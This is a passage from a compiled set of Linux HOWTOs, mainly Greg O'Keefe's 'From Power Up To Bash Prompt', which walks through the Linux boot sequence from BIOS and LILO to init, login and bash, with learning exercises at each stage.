Thomas Parmelan
Frédéric Petit
Thomas Quinot
David Robert
Olivier Robert
Benjamin Ryzman
Pablo Saratxaga
Julien Simon
Loïc Tortay
J.M. Vansteene

Surtout, si je vous oublie, signalez-le moi ! De même si vous ne voulez plus figurer dans cette liste...

Envoyez moi vos suggestions et modifications (guylhem à metalab.unc.edu), je me ferai un plaisir de les intégrer dans les prochaines versions !

Signalez-moi aussi les erreurs : cet HOWTO est en perpétuel changement, avec des nouveautés incluses à chaque version ; des erreurs peuvent facilement s'y glisser !


From Power Up To Bash Prompt

Greg O'Keefe, gcokeefe@postoffice.utas.edu.au

v0.9, November 2000

This is a brief description of what happens in a Linux system, from the time that you turn on the power, to the time that you log in and get a bash prompt. Understanding this will be helpful when you need to solve problems or configure your system.

1. Introduction

2. Hardware

  • 2.1 Configuration
  • 2.2 Exercises
  • 2.3 More Information

3. Lilo

  • 3.1 Configuration
  • 3.2 Exercises
  • 3.3 More Information

4. The Linux Kernel

  • 4.1 Configuration
  • 4.2 Exercises
  • 4.3 More Information

5. The GNU C Library

  • 5.1 Configuration
  • 5.2 Exercises
  • 5.3 More Information

6. Init

  • 6.1 Configuration
  • 6.2 Exercises
  • 6.3 More Information

7. The Filesystem

  • 7.1 Configuration
  • 7.2 Exercises
  • 7.3 More Information

8. Kernel Daemons

  • 8.1 Configuration
  • 8.2 Exercises
  • 8.3 More Information

9. System Logger

  • 9.1 Configuration
  • 9.2 Exercises
  • 9.3 More Information

10. Getty and Login

  • 10.1 Configuration
  • 10.2 Exercises

11. Bash

  • 11.1 Configuration
  • 11.2 Exercises
  • 11.3 More Information

12. Commands

13. Conclusion

14. Administrivia

  • 14.1 Copyright
  • 14.2 Homepage
  • 14.3 Feedback
  • 14.4 Acknowledgements
  • 14.5 Change History
  • 14.6 TODO


From Power Up To Bash Prompt: Introduction

 Next Previous Contents

1. Introduction

I find it frustrating that many things happen inside my Linux machine that I do not understand. If, like me, you want to really understand your system rather than just knowing how to use it, this document should be a good place to start. This kind of background knowledge is also needed if you want to be a top notch Linux problem solver.

I assume that you have a working Linux box, and understand some basic things about Unix and PC hardware. If not, an excellent place to start learning is Eric S. Raymond's The Unix and Internet Fundamentals HOWTO It is short, very readable and covers all the basics.

The main thread in this document is how Linux starts itself up. But it also tries to be a more comprehensive learning resource. I have included exercises in each section. If you actually do some of these, you will learn much more than you could by just reading.

I hope some readers will undertake the best Linux learning exercise that I know of, which is building a system from source code. Giambattista Vico, an Italian philosopher (1668-1744) said ``verum ipsum factum'', which means ``understanding arises through making''. Thanks to Alex (see Acknowledgements) for this quote.

If you want to ``roll your own'', you should also see Gerard Beekmans' Linux From Scratch HOWTO (LFS). LFS has detailed instructions on building a complete useable system from source code. On the LFS website, you will also find a mailing list for people building systems this way. The instructions that used to be part of this document are now in a separate document ``Building a Minimal Linux System from Source Code'', and can be found at From PowerUp to Bash Prompt home page. They explain how to ``toy'' system, purely as a learning exercise.

Packages are presented in the order in which they appear in the system startup process. This means that if you install the packages in this order you can reboot after each installation, and see the system get a little closer to giving you a bash prompt each time. There is a reassuring sense of progress in this.

I recommend that you first read the main text of each section, skipping the exercises and references. Then decide how deep an understanding you want to develop, and how much effort you are prepared to put in. Then start at the beginning again, doing the exercises and additional reading as you go.


From Power Up To Bash Prompt: Hardware

 Next Previous Contents

2. Hardware

When you first turn on your computer it tests itself to make sure everything is in working order. This is called the ``Power on self test''. Then a program called the bootstrap loader, located in the ROM BIOS, looks for a boot sector. A boot sector is the first sector of a disk and has a small program that can load an operating system. Boot sectors are marked with a magic number 0xAA55 = 43603 at byte 0x1FE = 510. That's the last two bytes of the sector. This is how the hardware can tell whether the sector is a boot sector or not.

The bootstrap loader has a list of places to look for a boot sector. My old machine looks in the primary floppy drive, then the primary hard drive. More modern machines can also look for a boot sector on a CD-ROM. If it finds a boot sector, it loads it into memory and passes control to the program that loads the operating system. On a typical Linux system, this program will be LILO's first stage boot loader. There are many different ways of setting your system up to boot though. See the LILO User's Guide for details. See section LILO for a URL.

Obviously there is a lot more to say about what PC hardware does. But this is not the place to say it. See one of the many good books about PC hardware.

2.1 Configuration

The machine stores some information about itself in its CMOS. This includes what disks and RAM are in the system. The machine's BIOS contains a program to let you modify these settings. Check the messages on your screen as the machine is turned on to see how to access it. On my machine, you press the delete key before it begins loading its operating system.

2.2 Exercises

A good way to learn about PC hardware is to build a machine out of second hand parts. Get at least a 386 so you can easily run Linux on it. It won't cost much. Ask around, someone might give you some of the parts you need.

Check out, download compile and make a boot disk for Unios. (They used to have a home page at http://www.unios.org, but it disappeared) This is just a bootable ``Hello World!'' program, consisting of just over 100 lines of assembler code. It would be good to see it converted to a format that the GNU assembler as can understand.

Open the boot disk image for unios with a hex editor. This image is 512 bytes long, exactly one sector. Find the magic number 0xAA55. Do the same for the boot sector from a bootable floppy disk or your own computer. You can use the dd command to copy it to a file: dd if=/dev/fd0 of=boot.sector. Be very careful to get if (input file) and of (output file) the right way round!

Check out the source code for LILO's boot loader.

2.3 More Information

  • The Unix and Internet Fundamentals HOWTO by Eric S. Raymond, especially section 3, What happens when you switch on a computer?
  • The first chapter of The LILO User's Guide gives an excellent explanation of PC disk partitions and booting. See section LILO for a URL.
  • The NEW Peter Norton Programmer's Guide to the IBM PC & PS/2, by Peter Norton and Richard Wilton, Microsoft Press 1988 There is a newer Norton book, which looks good, but I can't afford it right now!
  • One of the many books available on upgrading PC's


From Power Up To Bash Prompt: Lilo

 Next Previous Contents

3. Lilo

When the computer loads a boot sector on a normal Linux system, what it loads is actually a part of lilo, called the ``first stage boot loader''. This is a tiny program who's only job in life is to load and run the ``second stage boot loader''.

The second stage loader gives you a prompt (if it was installed that way) and loads the operating system you choose.

When your system is up and running, and you run lilo, what you are actually running is the ``map installer''. This reads the configuration file /etc/lilo.conf and writes the boot loaders, and information about the operating systems it can load, to the hard disk.

There are lots of different ways to set your system up to boot. What I have just explained is the most obvious and ``normal'' way, at least for a system who's main operating system is Linux. The Lilo Users' Guide explains several examples of ``boot concepts''. It is worth reading these, and trying some of them out.

3.1 Configuration

The configuration file for lilo is /etc/lilo.conf. There is a manual page for it: type man lilo.conf into a shell to see it. The main thing in lilo.conf is one entry for each thing that lilo is set up to boot. For a Linux entry, this includes where the kernel is, and what disk partition to mount as the root filesystem. For other operating systems, the main piece of information is which partition to boot from.

3.2 Exercises

DANGER: take care with these exercises. It is easy enough to get something wrong and screw up your master boot record and make your system unuseable. Make sure you have a working rescue disk, and know how to use it to fix things up again. See below for a link to tomsrtbt, the rescue disk I use and recommend. The best precaution is to use a machine that doesn't matter.

Set up lilo on a floppy disk. It doesn't matter if there is nothing other than a kernel on the floppy - you will get a ``kernel panic'' when the kernel is ready to load init, but at least you will know that lilo is working.

If you like you can press on and see how much of a system you can get going on the floppy. This is probably the second best Linux learning activity around. See the Bootdisk HOWTO (url below), and tomsrtbt (url below) for clues.

Get lilo to boot unios (see section hardware exercises for a URL). As an extra challenge, see if you can do this on a floppy disk.

Make a boot-loop. Get lilo in the master boot record to boot lilo in one of the primary partition boot sectors, and have that boot lilo in the master boot record... Or perhaps use the master boot record and all four primary partitions to make a five point loop. Fun!

3.3 More Information

  • The lilo man page.
  • The Lilo package ( lilo), contains the ``LILO User's Guide'' lilo-u-21.ps.gz (or a later version). You may already have this document though. Check /usr/doc/lilo or there abouts. The postscript version is better than the plain text, since it contains diagrams and tables.
  • tomsrtbt the coolest single floppy linux. Makes a great rescue disk.
  • The Bootdisk HOWTO


From Power Up To Bash Prompt: The Linux Kernel

 Next Previous Contents

4. The Linux Kernel

The kernel does quite a lot really. I think a fair way of summing it up is that it makes the hardware do what the programs want, fairly and efficiently.

The processor can only execute one instruction at a time, but Linux systems appear to be running lots of things simultaneously. The kernel acheives this by switching from task to task really quickly. It makes the best use of the processor by keeping track of which processes are ready to go, and which ones are waiting for something like a record from a hard disk file, or some keyboard input. This kernel task is called scheduling.

If a program isn't doing anything, then it doesn't need to be in RAM. Even a program that is doing something, might have parts that aren't doing anything. The address space of each process is divided into pages. The Kernel keeps track of which pages of which processes are being used the most. The pages that aren't used so much can be moved out to the swap partition. When they are needed again, another unused page can be paged out to make way for it. This is virtual memory management.

If you have ever compiled your own Kernel, you will have noticed that there are many many options for specific devices. The kernel contains a lot of specific code to talk to diverse kinds of hardware, and present it all in a nice uniform way to the application programs.

The Kernel also manages the filesystem, interprocess communication, and a lot of networking stuff.

Once the kernel is loaded, the first thing it does is look for an init program to run.

4.1 Configuration

Most of the configuration of the kernel is done when you build it, using make menuconfig, or make xconfig in /usr/src/linux/ (or wherever your Linux kernel source is). You can reset the default video mode, root filesystem, swap device and RAM disk size using rdev. These parameters and more can also be passed to the kernel from lilo. You can give lilo parameters to pass to the kernel either in lilo.conf, or at the lilo prompt. For example if you wanted to use hda3 as your root file system instead of hda2, you might type

        LILO: linux root=/dev/hda3

If you are building a system from source, you can make life a lot simpler by creating a ``monolithic'' kernel. That is one with no modules. Then you don't have to copy kernel modules to the target system.

NOTE: The System.map file is used by the kernel logger to determine the module names generating messages. The program top also uses this information. When you copy the kernel to the target system, copy System.map too.

4.2 Exercises

Think about this: /dev/hda3 is a special type of file that describes a hard disk partition. But it lives on a file system just like all other files. The kernel wants to know which partition to mount as the root filesystem - it doesn't have a file system yet. So how can it read /dev/hda3 to find out which partition to mount?

If you haven't already: build your own kernel. Read all the help information for each option.

See how small a kernel you can make that still works. You can learn a lot by leaving the wrong things out!

Read ``The Linux Kernel'' (URL below) and as you do, find the parts of the source code that it refers to. The book (as I write) refers to kernel version 2.0.33, which is pretty out of date. It might be easier to follow if you download this old version and read the source there. Its amazing to find bits of C code called ``process'' and ``page''.

Hack! See if you can make it spit out some extra messages or something.

4.3 More Information

  • /usr/src/linux/README and the contents of /usr/src/linux/Documentation/ (These may be in some other place on your system)
  • The Kernel HOWTO
  • The help available when you configure a kernel using make menuconfig or make xconfig
  • The Linux Kernel (and other LDP Guides)
  • source code, see Building a Minimal Linux System from Source Code for urls


From Power Up To Bash Prompt: The GNU C Library

 Next Previous Contents

5. The GNU C Library

The next thing that happens as your computer starts up is that init is loaded and run. However, init, like almost all programs, uses functions from libraries.

You may have seen an example C program like this:

        main() {
                printf("Hello World!\n");
        }

The program contains no definition of printf, so where does it come from? It comes from the standard C libraries, on a GNU/Linux system, glibc. If you compile it under Visual C++, then it comes from a Microsoft implementation of the same standard functions. There are zillions of these standard functions, for math, string, dates/times memory allocation and so on. Everything in Unix (including Linux) is either written in C or has to try hard to pretend it is, so everything uses these functions.

If you look in /lib on your linux system you will see lots of files called libsomething.so or libsomething.a etc. They are libraries of these functions. Glibc is just the GNU implementation of these functions.

There are two ways programs can use these library functions. If you statically link a program, these library functions are copied into the executable that gets created. This is what the libsomething.a libraries are for. If you dynamically link a program (and this is the default), then when the program is running and needs the library code, it is called from the libsomething.so file.

The command ldd is your friend when you want to work out which libraries are needed by a particular program. For example, here are the libraries that bash uses:

        [greg@Curry power2bash]$ ldd /bin/bash
                libtermcap.so.2 => /lib/libtermcap.so.2 (0x40019000)
                libc.so.6 => /lib/libc.so.6 (0x4001d000)
                /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

5.1 Configuration

Some of the functions in the libraries depend on where you are. For example, in Australia we write dates as dd/mm/yy, but Americans write mm/dd/yy. There is a program that comes with the glibc distribution called localedef which enables you to set this up.

5.2 Exercises

Use ldd to find out what libraries your favourite applications use.

Use ldd to find out what libraries init uses.

Make a toy library, with just one or two functions in it. The program ar is used to create them, the man page for ar might be a good place to start investigating how this is done. Write, compile and link a program that uses this library.

5.3 More Information

  • source code, see Building a Minimal Linux System from Source Code for urls


From Power Up To Bash Prompt: Init

 Next Previous Contents

6. Init

I will only talk about the ``System V'' style of init that Linux systems mostly use. There are alternatives. In fact, you can put any program you like in /sbin/init, and the kernel will run it when it has finished loading.

It is init's job to get everthing running the way it should be. It checks that the file systems are ok and mounts them. It starts up ``daemons'' to log system messages, do networking, serve web pages, listen to your mouse and so on. It also starts the getty processes that put the login prompts on your virtual terminals.

There is a whole complicated story about switching ``run-levels'', but I'm going to mostly skip that, and just talk about system start up.

Init reads the file /etc/inittab, which tells it what to do. Typically, the first thing it is told to do is to run an initialisation script. The program that executes (or interprets) this script is bash, the same program that gives you a command prompt. In Debian systems, the initialisation script is /etc/init.d/rcS, on Red Hat, /etc/rc.d/rc.sysinit. This is where the filesystems get checked and mounted, the clock set, swap space enabled, hostname gets set etc.

Next, another script is called to take us into the default run-level. This just means a set of subsystems to start up. There is a set of directories /etc/rc.d/rc0.d, /etc/rc.d/rc1.d, ..., /etc/rc.d/rc6.d in Red Hat, or /etc/rc0.d, /etc/rc1.d, ..., /etc/rc6.d in Debian, which correspond to the run-levels. If we are going into runlevel 3 on a Debian system, then the script runs all the scripts in /etc/rc3.d that start with `S' (for start). These scripts are really just links to scripts in another directory usually called init.d.

So our run-level script was called by init, and it is looking in a directory for scripts starting with `S'. It might find S10syslog first. The numbers tell the run-level script which order to run them in. So in this case S10syslog gets run first, since there were no scripts starting with S00 ... S09. But S10syslog is really a link to /etc/init.d/syslog which is a script to start and stop the system logger. Because the link starts with an `S', the run-level script knows to execute the syslog script with a ``start'' parameter. There are corresponding links starting with `K' (for kill), which specify what to shut down and in what order when leaving the run-level.

To change what subsystems start up by default, you must set up these links in the rcN.d directory, where N is the default runlevel set in your inittab.

The last important thing that init does is to start some getty's. These are ``respawned'' which means that if they stop, init just starts them again. Most distributions come with six virtual terminals. You may want less than this to save memory, or more so you can leave lots of things running and quickly flick to them as you need them. You may also want to run a getty for a text terminal or a dial in modem. In this case you will need to edit the inittab file.

6.1 Configuration

/etc/inittab is the top level configuration file for init.

The rcN.d directories, where N = 0, 1, ..., 6 determine what subsystems are started.

Somewhere in one of the scripts invoked by init, the mount -a command will be issued. This means mount all the file systems that are supposed to be mounted. The file /etc/fstab defines what is supposed to be mounted. If you want to change what gets mounted where when your system starts up, this is the file you will need to edit. There is a man page for fstab.

6.2 Exercises

Find the rcN.d directory for the default run-level of your system and do a ls -l to see what the files are links to.

Change the number of gettys that run on your system.

Remove any subsystems that you don't need from your default run-level.

See how little you can get away with starting.

Set up a floppy disk with lilo, a kernel and a statically linked "hello world" program called /sbin/init and watch it boot up and say hello.

Watch carefully as your system starts up, and take notes about what it tells you is happening. Or print a section of your system log /var/log/messages from start up time. Then starting at inittab, walk through all the scripts and see what code does what. You can also put extra start up messages in, such as

        echo "Hello, I am rc.sysinit"

This is a good exercise in learning Bash shell scripting too, some of the scripts are quite complicated. Have a good Bash reference handy.

6.3 More Information

  • There are man pages for the inittab and fstab files. Type (eg) man inittab into a shell to see it.
  • The Linux System Administrators Guide has a good section on init.
  • source code, see Building a Minimal Linux System from Source Code for urls


From Power Up To Bash Prompt: The Filesystem

 Next Previous Contents

7. The Filesystem

In this section, I will be using the word ``filesystem'' in two different ways. There are filesystems on disk partitions and other devices, and there is the filesystem as it is presented to you by a running Linux system. In Linux, you ``mount'' a disk filesystem onto the system's filesystem.

In the previous section I mentioned that init scripts check and mount the filesystems. The commands that do this are fsck and mount respectively.

A hard disk is just a big space that you can write ones and zeros on. A filesystem imposes some structure on this, and makes it look like files within directories within directories... Each file is represented by an inode, which says who's file it is, when it was created and where to find its contents. Directories are also represented by inodes, but these say where to find the inodes of the files that are in the directory. If the system wants to read /home/greg/bigboobs.jpeg, it first finds the inode for the root directory / in the ``superblock'', then finds the inode for the directory home in the contents of /, then finds the inode for the directory greg in the contents of /home, then the inode for bigboobs.jpeg which will tell it which disk blocks to read.

If we add some data to the end of a file, it could happen that the data is written before the inode is updated to say that the new blocks belong to the file, or vice versa. If the power cuts out at this point, the filesystem will be broken. It is this kind of thing that fsck attempts to detect and repair.

The mount command takes a filesystem on a device, and adds it to the heirarchy that you see when you use your system. Usually, the kernel mounts its root file system read-only. The mount command is used to remount it read-write after fsck has checked that it is ok.

Linux supports other kinds of filesystem too: msdos, vfat, minix and so on. The details of the specific kind of filesystem are abstracted away by the virtual file system (VFS). I won't go into any detail on this though. There is a discussion of it in ``The Linux Kernel'' (see section The Linux Kernel for a url)

A completely different kind of filesystem gets mounted on /proc. It is really a representation of things in the kernel. There is a directory there for each process running on the system, with the process number as the directory name. There are also files such as interrupts, and meminfo which tell you about how the hardware is being used. You can learn a lot by exploring /proc.

7.1 Configuration

There are parameters to the command mke2fs which creates ext2 filesystems. These control the size of blocks, the number of inodes and so on. Check the mke2fs man page for details.

What gets mounted where on your filesystem is controlled by the /etc/fstab file. It also has a man page.

7.2 Exercises

Make a very small filesystem, and view it with a hex viewer. Identify inodes, superblocks and file contents.

I believe there are tools that give you a graphical view of a filesystem. Find one, try it out, and email me the url and a review!

Check out the ext2 filesystem code in the Kernel.

7.3 More Information

  • Chapter 9 of the LDP book ``The Linux Kernel'' is an excellent description of filesystems. You can find it at the Australian LDP mirror
  • The mount command is part of the util-linux package, there is a link to it in Building a Minimal Linux System from Source Code
  • man pages for mount, fstab, fsck, mke2fs and proc
  • The file Documentation/proc.txt in the Linux source code explains the /proc filesystem.
  • EXT2 File System Utilities ext2fsprogs home page ext2fsprogs Australian mirror. There is also a Ext2fs-overview document here, although it is out of date, and not as readable as chapter 9 of ``The Linux Kernel''
  • Unix File System Standard Another link to the Unix File System Standard. This describes what should go where in a Unix file system, and why. It also has minimum requirements for the contents of /bin, /sbin and so on. This is a good reference if your goal is to make a minimal yet complete system.


From Power Up To Bash Prompt: Kernel Daemons

 Next Previous Contents

8. Kernel Daemons

If you issue the ps aux command, you will see something like the following:

USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
root         1  0.1  8.0  1284   536   ? S    07:37   0:04 init [2]
root         2  0.0  0.0     0     0   ? SW   07:37   0:00 (kflushd)
root         3  0.0  0.0     0     0   ? SW   07:37   0:00 (kupdate)
root         4  0.0  0.0     0     0   ? SW   07:37   0:00 (kpiod)
root         5  0.0  0.0     0     0   ? SW   07:37   0:00 (kswapd)
root        52  0.0 10.7  1552   716   ? S    07:38   0:01 syslogd -m 0
root        54  0.0  7.1  1276   480   ? S    07:38   0:00 klogd
root        56  0.3 17.3  2232  1156   1 S    07:38   0:13 -bash
root        57  0.0  7.1  1272   480   2 S    07:38   0:01 /sbin/agetty 38400 tt
root        64  0.1  7.2  1272   484  S1 S    08:16   0:01 /sbin/agetty -L ttyS1
root        70  0.0 10.6  1472   708   1 R   Sep 11   0:01 ps aux

This is a list of the processes running on the system. The information comes from the /proc filesystem that I mentioned in the previous section. Note that init is process number one. Processes 2, 3, 4 and 5 are kflushd, kupdate, kpiod and kswapd. There is something strange here though: notice that in both the virtual storage size (SIZE) and the Real Storage Size (RSS) columns, these processes have zeroes. How can a process use no memory?

These processes are the kernel daemons. Most of the kernel does not show up on process lists at all, and you can only work out what memory it is using by subtracting the memory available from the amount on your system. The kernel daemons are started after init, so they get process numbers like normal processes do. But their code and data lives in the kernel's part of the memory.

There are brackets around the entries in the command column because the /proc filesystem does not contain command line information for these processes.

So what are these kernel daemons for? Previous versions of this document had a plea for help, as I didn't know much about the kernel daemons. The following partial story has been patched together from various replies to that plea, for which I am most grateful. Further clues, references and corrections are most welcome!

Input and output is done via buffers in memory. This allows things to run faster. What programs write can be kept in memory, in a buffer, then written to disk in larger more efficient chunks. The daemons kflushd and kupdate handle this work: kupdate runs periodically (5 seconds?) to check whether there are any dirty buffers. If there are, it gets kflushd to flush them to disk.

Processes often have nothing to do, and ones that are running often don't need all of their code and data in memory. This means we can make better use of our memory, by shifting unused parts of running programs out to the swap partition(s) of the hard disk. Moving this data in and out of memory as needed is done by kpiod and kswapd. Every second or so, kswapd wakes up to check out the memory situation, and if something out on the disk is needed in memory, or there is not enough free memory, kpiod is called in.

There might also be a kapmd daemon running on your system if you have configured automatic power management into your kernel.

8.1 Configuration

The program update allows you to configure kflushd and kswapd. Try update -h for some information.

Swap space is turned on by swapon and off by swapoff. The init script (/etc/rc.sysinit or /etc/rc.d/rc.sysinit) usually calls swapon as the system is coming up. I'm told that swapoff is handy for saving power on laptops.

8.2 Exercises

Do an update -d, note the blatherings on the last line about ``threshold for buffer fratricide''. Now there's an intriguing concept, go investigate!

Change directory to /proc/sys/vm and cat the files there. See what you can work out.

8.3 More Information

The Linux Documentation Project's ``The Linux Kernel'' (see section The Linux Kernel for a url)

The Linux kernel source code, if you are brave enough! The kswapd code is in linux/mm/vmscan.c, and kflushd and kupdate are in linux/fs/buffer.c.


From Power Up To Bash Prompt: System Logger

 Next Previous Contents

9. System Logger

Init starts the syslogd and klogd daemons. They write messages to logs. The kernel's messages are handled by klogd, while syslogd handles log messages from other processes. The main log is /var/log/messages. This is a good place to look if something is going wrong with your system. Often there will be a valuable clue in there.

9.1 Configuration

The file /etc/syslog.conf tells the loggers what messages to put where. Messages are identified by which service they come from, and what priority level they are. This configuration file consists of lines that say messages from service x with priority y go to z, where z is a file, tty, printer, remote host or whatever.

NOTE: Syslog requires the /etc/services file to be present. The services file allocates ports. I am not sure whether syslog needs a port allocated so that it can do remote logging, or whether even local logging is done through a port, or whether it just uses /etc/services to convert the service names you type /etc/syslog.conf into port numbers.

9.2 Exercises

Have a look at your system log. Find a message you don't understand, and find out what it means.

Send all your log messages to a tty. (set it back to normal once done)

9.3 More Information

Australian sysklogd Mirror


From Power Up To Bash Prompt: Getty and Login

 Next Previous Contents

10. Getty and Login

Getty is the program that enables you to log in through a serial device such as a virtual terminal, a text terminal, or a modem. It displays the login prompt. Once you enter your username, getty hands this over to login which asks for a password, checks it out and gives you a shell.

There are many getty's available. Some distributions, including Red Hat use a very small one called mingetty that only works with virtual terminals.

The login program is part of the util-linux package, which also contains a getty called agetty, which works fine. This package also contains mkswap, fdisk, passwd, kill, setterm, mount, swapon, rdev, renice, more (the program) and more (ie more programs).

10.1 Configuration

The message that comes on the top of your screen with your login prompt comes from /etc/issue. Gettys are usually started in /etc/inittab. Login checks user details in /etc/passwd, and if you have password shadowing, /etc/shadow.

10.2 Exercises

Create a /etc/passwd by hand. Passwords can be set to null, and changed with the program passwd once you log on. See the man page for this file Use man 5 passwd to get the man page for the file rather than the man page for the program.


From Power Up To Bash Prompt: Bash

 Next Previous Contents

11. Bash

If you give login a valid username and password combination, it will check in /etc/passwd to see which shell to give you. In most cases on a Linux system this will be bash. It is bash's job to read your commands and see that they are acted on. It is simultaneously a user interface, and a programming language interpreter.

As a user interface it reads your commands, and executes them itself if they are ``internal'' commands like cd, or finds and executes a program if they are ``external'' commands like cp or startx. It also does groovy stuff like keeping a command history, and completing filenames.

We have already seen bash in action as a programming language interpreter. The scripts that init runs to start the system up are usually shell scripts, and are executed by bash. Having a proper programming language, along with the usual system utilities available at the command line makes a very powerful combination, if you know what you are doing. For example (smug mode on) I needed to apply a whole stack of ``patches'' to a directory of source code the other day. I was able to do this with the following single command:

for f in /home/greg/sh-utils-1.16*.patch; do patch -p0 < $f; done;

This looks at all the files in my home directory whose names start with sh-utils-1.16 and end with .patch. It then takes each of these in turn, and sets the variable f to it and executes the commands between do and done. In this case there were 11 patch files, but there could just as easily have been 3000.

11.1 Configuration

The file /etc/profile controls the system-wide behaviour of bash. What you put in here will affect everybody who uses bash on your system. It will do things like add directories to the PATH, set your MAIL directory variable.

The default behaviour of the keyboard often leaves a lot to be desired. It is actually readline that handles this. Readline is a separate package that handles command line interfaces, providing the command history and filename completion, as well as some advanced line editing features. It is compiled into bash. By default, readline is configured using the file .inputrc in your home directory. The bash variable INPUTRC can be used to override this for bash. For example in Red Hat 6, INPUTRC is set to /etc/inputrc in /etc/profile. This means that backspace, delete, home and end keys work nicely for everyone.

Once bash has read the system-wide configuration file, it looks for your personal configuration file. It checks in your home directory for .bash_profile, .bash_login and .profile. It runs the first one of these it finds. If you want to change the way bash behaves for you, without changing the way it works for others, do it here. For example, many applications use environment variables to control how they work. I have the variable EDITOR set to vi so that I can use vi in Midnight Commander (an excellent console based file manager) instead of its editor.

11.2 Exercises

The basics of bash are easy to learn. But don't stop there: there is an incredible depth to it. Get into the habit of looking for better ways to do things.

Read shell scripts, look up stuff you don't understand.

11.3 More Information

  • There is a ``Bash Reference Manual'' with this, which is comprehensive, but heavy going.
  • There is an O'Rielly book on Bash, not sure if it's good.
  • I don't know of any good free up to date bash tutorials. If you do, please email me a url.
  • source code, see Building a Minimal Linux System from Source Code for urls


From Power Up To Bash Prompt: Commands

 Next Previous Contents

12. Commands

You do most things in bash by issuing commands like cp. Most of these commands are small programs, though some, like cd are built into the shell.

The commands come in packages, most of them from the Free Software Foundation (or GNU). Rather than list the packages here, I'll direct you to the Linux From Scratch HOWTO. It has a full and up to date list of the packages that go into a Linux system as well as instructions on how to build them.


From Power Up To Bash Prompt: Conclusion

 Next Previous Contents

13. Conclusion

One of the best things about Linux, in my humble opinion, is that you can get inside it and really find out how it all works. I hope that you enjoy this as much as I do. And I hope that this little note has helped you do it.


From Power Up To Bash Prompt: Administrivia

 Next Previous Contents

14. Administrivia

14.1 Copyright

This document is copyright (c) 1999, 2000 Greg O'Keefe. You are welcome to use, copy, distribute or modify it, without charge, under the terms of the GNU General Public Licence. Please acknowledge me if you use all or part of this in another document.

14.2 Homepage

The lastest version of this document lives at From Powerup To Bash Prompt as does its companion ``Building a Minimal Linux System from Source Code''.

There is a French translation at From Powerup To Bash Prompt thanks to Dominique van den Broeck. A Japanese by Yuji Senda is coming soon, if it's not at Japanese Documentation and FAQ Project already.

14.3 Feedback

I would like to hear any comments, criticisms and suggestions for improvement that you have. Please send them to me Greg O'Keefe

14.4 Acknowledgements

Product names are trademarks of the respective holders, and are hereby considered properly acknowledged.

There are some people I want to say thanks to, for helping to make this happen.

Michael Emery

For reminding me about Unios.

Tim Little

For some good clues about /etc/passwd

sPaKr on #linux in efnet

Who sussed out that syslogd needs /etc/services, and introduced me to the phrase ``rolling your own'' to describe building a system from source code.

Alex Aitkin

For bringing Vico and his ``verum ipsum factum'' (understanding arises through making) to my attention.

Dennis Scott

For correcting my hexidecimal arithmetic.

jdd

For pointing out some typos.

David Leadbeater

For contributing some ``ramblings'' about the kernel deamons.

Dominique van den Broeck

For translating this doc into French.

Matthieu Peeters

For some good information about kernel deamons.

John Fremlin

For some good information about kernel deamons.

Yuji Senda

For the Japanese translation.

Antonius de Rozari

For contributing a GNU assembler version of UNIOS (see resources section on the home page)

14.5 Change History

0.8 -> 0.9 (November 2000)

  • Incorporated some information from Matthieu Peeters and John Fremlin on kernel deamons and the /proc filesystem.

0.7 -> 0.8 (September 2000)

  • Removed instructions on how to build a system, placing them in a separate document. Adjusted a few links accordingly.
  • Changed homepage from learning@TasLUG to my own webspace.
  • Completely failed to incorporate a lot of good material contributed by various people. Maybe next time :(

0.6 -> 0.7

  • more emphasis on explanation, less on how to build a system, building info gathered together in a separate section and the system built is trimmed down, direct readers to Gerard Beekmans' ``Linux From Scratch'' doc for serious building
  • added some ramblings contributed by David Leadbeater
  • fixed a couple of url's, added link to unios download at learning.taslug.org.au/resources
  • tested and fixed url's
  • generally rewrite, tidy up

0.5 -> 0.6

  • added change history
  • added some todos

14.6 TODO

  • explain kernel modules, depmod, modprobe, insmod and all that (I'll have to find out first!)
  • mention the /proc filesystem, potential for exercises here
  • convert to docbook sgml
  • add more exercises, perhaps a whole section on larger exercises, like creating a minimal system file by file from a distro install.
  • add makefile hack to bash build instructions - see easter notes.


From Power Up To Bash Prompt: Administrivia

 Next Previous Contents

15. Administrivia

15.1 Copyright

This document is copyright (c) 1999, 2000 Greg O'Keefe. You are welcome to use, copy, distribute or modify it, without charge, under the terms of the GNU General Public Licence. Please acknowledge me if you use all or part of this in another document.

15.2 Homepage

The lastest version of this document lives at From Powerup To Bash Prompt

15.3 Feedback

I would like to hear any comments, criticisms and suggestions for improvement that you have. Please send them to me Greg O'Keefe

15.4 Acknowledgements

Product names are trademarks of the respective holders, and are hereby considered properly acknowledged.

There are some people I want to say thanks to, for helping to make this happen.

Everyone on the learning@TasLUG mailing list

Thanks for reading all my mails and asking interesting questions. You can join this list by sending a message to majordomo with

        subscribe learning
in the message body.

Michael Emery

For reminding me about Unios.

Tim Little

For some good clues about /etc/passwd

sPaKr on #linux in efnet

Who sussed out that syslogd needs /etc/services, and introduced me to the phrase ``rolling your own'' to describe building a system from source code.

Alex Aitkin

For bringing Vico and his ``verum ipsum factum'' (understanding arises through making) to my attention.

Dennis Scott

For correcting my hexidecimal arithmetic.

jdd

For pointing out some typos.

David Leadbeater

For contributing some ``ramblings'' about the kernel deamons.

15.5 Change History

0.6 -> 0.7

  • more emphasis on explanation, less on how to build a system, building info gathered together in a separate section and the system built is trimmed down, direct readers to Gerard Beekmans' ``Linux From Scratch'' doc for serious building
  • added some ramblings contributed by David Leadbeater
  • fixed a couple of url's, added link to unios download at learning.taslug.org.au/resources
  • tested and fixed url's
  • generally rewrite, tidy up

0.5 -> 0.6

  • added change history
  • added some todos

15.6 TODO

  • explain kernel modules, depmod, modprobe, insmod and all that (I'll have to find out first!)
  • mention the /proc filesystem, potential for exercises here
  • convert to docbook sgml
  • add more exercises, perhaps a whole section on larger exercises, like creating a minimal system file by file from a distro install.


Ftape-HOWTO

Claus-Justus Heine, <heine@math1.rwth-aachen.de>

v3.0, August 1998

